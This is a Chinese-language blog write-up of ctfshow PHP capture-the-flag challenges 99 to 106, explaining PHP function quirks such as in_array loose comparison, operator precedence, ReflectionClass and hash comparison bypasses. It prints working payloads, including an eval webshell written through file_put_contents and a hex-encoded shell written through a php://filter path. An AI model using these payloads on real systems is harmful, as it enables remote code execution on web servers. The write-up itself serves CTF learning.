php特性第二天

99

array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。
该函数等于多次调用 $array[] = $value。

in_array() 函数搜索数组中是否存在指定的值。(注意:in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换)

file_put_contents() 函数把一个字符串写入文件中。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

重点在于in_array()函数的漏洞 给n传参,1.php 直接被转化为1和allow中的值比较
之后使用file_put_contents函数创造文件并构造shell
payload:GET n=1.php POST content=<?php @eval($_POST["a"]);?>

image-20230520163420860

100

image-20230520170307836


is_numeric() 函数用于检测变量是否为数字或数字字符串。
and/&& 和 or/|| 这两组运算符的优先级竟然是不一样的. and和or的优先级是低于=的
var_dump — 打印变量的相关信息
payload:?v1=1&v2=var_dump($ctfshow)&v3=;
payload:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

注意,626624430x2dedf00x2d4b980x2dae500x2dc539bdf350e1 中的0x2d要替换为 - ,ASCII编码

102

var_dump被过滤了

最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');
payload:?v1=1&v2=echo new ReflectionClass&v3=;

最后一个值要疯狂尝试0-9 a-f

反射类拓展

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

103

image-20230522194326997

call_user_func()  函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents() 函数写入内容到文件中,第一个参数是文件名,第二个参数是内容
substr() 返回字符串的子串
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
首先,get传参v2和v3,post传参v1;if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell
为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字

image-20230522195249892

说明:<?=是php的短标签,是echo()的快捷用法
还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数
所以payload为

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag

103和102相同payload

104

image-20230522201026449

104出题人出的有些失误,没有判断v1与v2的值,所以直接传post: v1=a get: v2=a就可以了,也可以用数组绕过。

106

106修复了这个问题,但是还是可以用数组绕过,当然如果加上强制类型转换,我们就得找其他的了,下面给出几个符合的。

image-20230522201453434

106修复了这个问题,但是还是可以用数组绕过,当然如果加上强制类型转换,我们就得找其他的了,下面给出几个符合的。
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

105

foreach有两种语法:

第一种:遍历给定的 数组语句 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

foreach (array_expression as $value)
第二种:同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。

foreach (array_expression as $key => $value)

image-20230522202520403

posted on 2023-05-24 16:38  vaneshadow  阅读(41)  评论(0)    收藏  举报